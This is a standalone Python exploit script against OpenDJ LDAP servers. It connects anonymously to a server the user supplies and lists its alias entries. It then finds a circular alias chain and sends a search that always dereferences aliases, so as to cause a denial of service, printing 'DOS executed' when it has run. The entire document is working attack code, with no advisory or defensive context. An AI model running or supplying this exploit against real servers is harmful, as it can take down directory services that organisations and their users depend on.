OpenDJ Denial of Service (DoS) using alias loop

opendj_alias_dos.py

import argparse

from ldap3 import Server, Connection, ALL, DEREF_NEVER, DEREF_ALWAYS
from ldap3.core.exceptions import LDAPBindError, LDAPSocketOpenError


def connect_to_ldap(ip, port):
    try:
        server = Server(ip, port, get_info=ALL)
        connection = Connection(server, auto_bind=True)
        return connection
    except (LDAPBindError, LDAPSocketOpenError) as e:
        print(f"Error connecting to LDAP server: {e}")
        return None


def find_aliases(connection, base_dn):
    try:
        search_filter = "(objectClass=alias)"
        connection.search(base_dn, search_filter=search_filter, dereference_aliases=DEREF_NEVER, attributes=["*"])
    except Exception as e:
        print(f"Error during search: {e}")

    aliases = {}
    for entry in connection.entries:
        entry_dn = entry.entry_dn
        entry_alias = entry.aliasedObjectName.value
        aliases[entry_dn] = entry_alias

    return aliases


def detect_alias_loop(aliases):
    visited = set()
    path = set()

    def dfs(alias):
        if alias in path:
            return alias
        if alias in visited:
            return None

        path.add(alias)
        visited.add(alias)

        aliased_target = aliases.get(alias)
        if aliased_target:
            result = dfs(aliased_target)
            if result:
                return result

        path.remove(alias)
        return None

    for alias in aliases:
        if alias not in visited:
            loop_alias = dfs(alias)
            if loop_alias:
                return loop_alias

    return None


def execute_dos_search(connection, looping_alias_dn):
    try:
        search_filter = "(objectClass=*)"
        connection.search(looping_alias_dn, search_filter=search_filter, dereference_aliases=DEREF_ALWAYS)
    except Exception as e:
        print(f"Error during search: {e}")

    for entry in connection.entries:
        entry_dn = entry.entry_dn
        print(entry_dn)


def main():
    parser = argparse.ArgumentParser(description="Search LDAP for circular alias references.")
    parser.add_argument("ip", type=str, nargs="?", default=None, help="The IP address of the LDAP server.")
    parser.add_argument("port", type=int, nargs="?", default=None, help="The port of the LDAP server.")
    parser.add_argument("base", type=str, nargs="?", default=None, help="The base DN of the LDAP server.")
    args = parser.parse_args()

    if not args.ip:
        args.ip = input("Please enter the IP address of the LDAP server: ")

    if not args.port:
        while True:
            try:
                port_input = input("Please enter the port of the LDAP server: ")
                args.port = int(port_input)
                break
            except ValueError:
                print("Invalid input. Please enter a valid integer for the port.")

    if not args.base:
        args.base = input("Please enter the base DN of the LDAP server: ")

    connection = connect_to_ldap(args.ip, args.port)
    if connection:
        aliases = find_aliases(connection, args.base)
        looping_alias_dn = detect_alias_loop(aliases)
        if looping_alias_dn:
            execute_dos_search(connection, looping_alias_dn)
            print(f"DOS executed with alias: {looping_alias_dn}")
        else:
            print("No looping alias DN found!")
        connection.unbind()


if __name__ == "__main__":
    main()